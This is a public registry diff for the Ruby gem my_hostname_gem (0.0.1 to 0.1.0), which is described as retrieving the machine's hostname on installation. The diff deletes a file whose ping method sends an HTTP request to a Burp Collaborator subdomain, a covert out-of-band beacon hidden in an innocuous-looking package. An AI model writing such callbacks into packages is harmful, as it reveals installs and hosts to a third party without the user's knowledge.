my_hostname_gem 0.0.1 → 0.1.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- checksums.yaml +4 -4
- data/lib/my_hostname_gem.rb +12 -0
- metadata +24 -7
- data/lib/my_hostname.rb +0 -20
checksums.yaml
CHANGED
@@ -1,7 +1,7 @@
|
|
1
1
|
---
|
2
2
|
SHA256:
|
3
|
-
metadata.gz:
|
4
|
-
data.tar.gz:
|
3
|
+
metadata.gz: edb9138291eba0ce6e9da585d7c2ece2e544afa05a1a6f0522bd6a86735bae43
|
4
|
+
data.tar.gz: 8ab68fc5721187079833b7ebf205977c23d96eaeb361b5cca0158ba81f7d9943
|
5
5
|
SHA512:
|
6
|
-
metadata.gz:
|
7
|
-
data.tar.gz:
|
6
|
+
metadata.gz: c2869a755d92f0bf07631aacecc1abe9590a01137f42222fe91c6ce1bb35c40d92629258b543418fd24f5981867bdcf7a09190315a5c06e2bcf89c85dac31991
|
7
|
+
data.tar.gz: 391a4146a6cc831534111562827b9c341871b95f26c089ebea842b80593cbcc4762197396cc28eee7a79cab3ba83474ac6f7174a8a89c9fcb51e3a7394559bf8
|
metadata
CHANGED
@@ -1,26 +1,43 @@
|
|
1
1
|
--- !ruby/object:Gem::Specification
|
2
2
|
name: my_hostname_gem
|
3
3
|
version: !ruby/object:Gem::Version
|
4
|
-
version: 0.0
|
4
|
+
version: 0.1.0
|
5
5
|
platform: ruby
|
6
6
|
authors:
|
7
7
|
- Monika Talekar
|
8
8
|
autorequire:
|
9
9
|
bindir: bin
|
10
10
|
cert_chain: []
|
11
|
-
date: 2023-07-
|
12
|
-
dependencies:
|
13
|
-
|
11
|
+
date: 2023-07-17 00:00:00.000000000 Z
|
12
|
+
dependencies:
|
13
|
+
- !ruby/object:Gem::Dependency
|
14
|
+
name: socket
|
15
|
+
requirement: !ruby/object:Gem::Requirement
|
16
|
+
requirements:
|
17
|
+
- - ">="
|
18
|
+
- !ruby/object:Gem::Version
|
19
|
+
version: '0'
|
20
|
+
type: :runtime
|
21
|
+
prerelease: false
|
22
|
+
version_requirements: !ruby/object:Gem::Requirement
|
23
|
+
requirements:
|
24
|
+
- - ">="
|
25
|
+
- !ruby/object:Gem::Version
|
26
|
+
version: '0'
|
27
|
+
description: 'A simple Ruby gem that retrieves the hostname of the machine upon installation.
|
28
|
+
|
29
|
+
'
|
14
30
|
email: monikatalekar@gmail.com
|
15
31
|
executables: []
|
16
32
|
extensions: []
|
17
33
|
extra_rdoc_files: []
|
18
34
|
files:
|
19
|
-
- lib/
|
35
|
+
- lib/my_hostname_gem.rb
|
20
36
|
homepage:
|
21
37
|
licenses:
|
22
38
|
- MIT
|
23
|
-
metadata:
|
39
|
+
metadata:
|
40
|
+
allowed_push_host: https://rubygems.org
|
24
41
|
post_install_message:
|
25
42
|
rdoc_options: []
|
26
43
|
require_paths:
|
@@ -39,5 +56,5 @@ requirements: []
|
|
39
56
|
rubygems_version: 3.3.15
|
40
57
|
signing_key:
|
41
58
|
specification_version: 4
|
42
|
-
summary:
|
59
|
+
summary: Retrieve the hostname of the machine
|
43
60
|
test_files: []
|
data/lib/my_hostname.rb
DELETED
@@ -1,20 +0,0 @@
|
|
1
|
-
require 'net/http' # You might need this for making HTTP requests, or a similar library
|
2
|
-
|
3
|
-
module MyHostnameGem
|
4
|
-
class Error < StandardError; end
|
5
|
-
|
6
|
-
class Hostname
|
7
|
-
# Replace this with the actual logic for the pingback operation
|
8
|
-
def self.ping
|
9
|
-
# Create a unique Burp Collaborator subdomain
|
10
|
-
burp_subdomain = "iwidt2dt6wodqoa0mq0fklsab1hv5k.oastify.com"
|
11
|
-
|
12
|
-
# Send a request to the Burp Collaborator server
|
13
|
-
uri = URI("http://#{burp_subdomain}")
|
14
|
-
response = Net::HTTP.get(uri)
|
15
|
-
|
16
|
-
# You might want to do something with the response, or this method could be void
|
17
|
-
response
|
18
|
-
end
|
19
|
-
end
|
20
|
-
end
|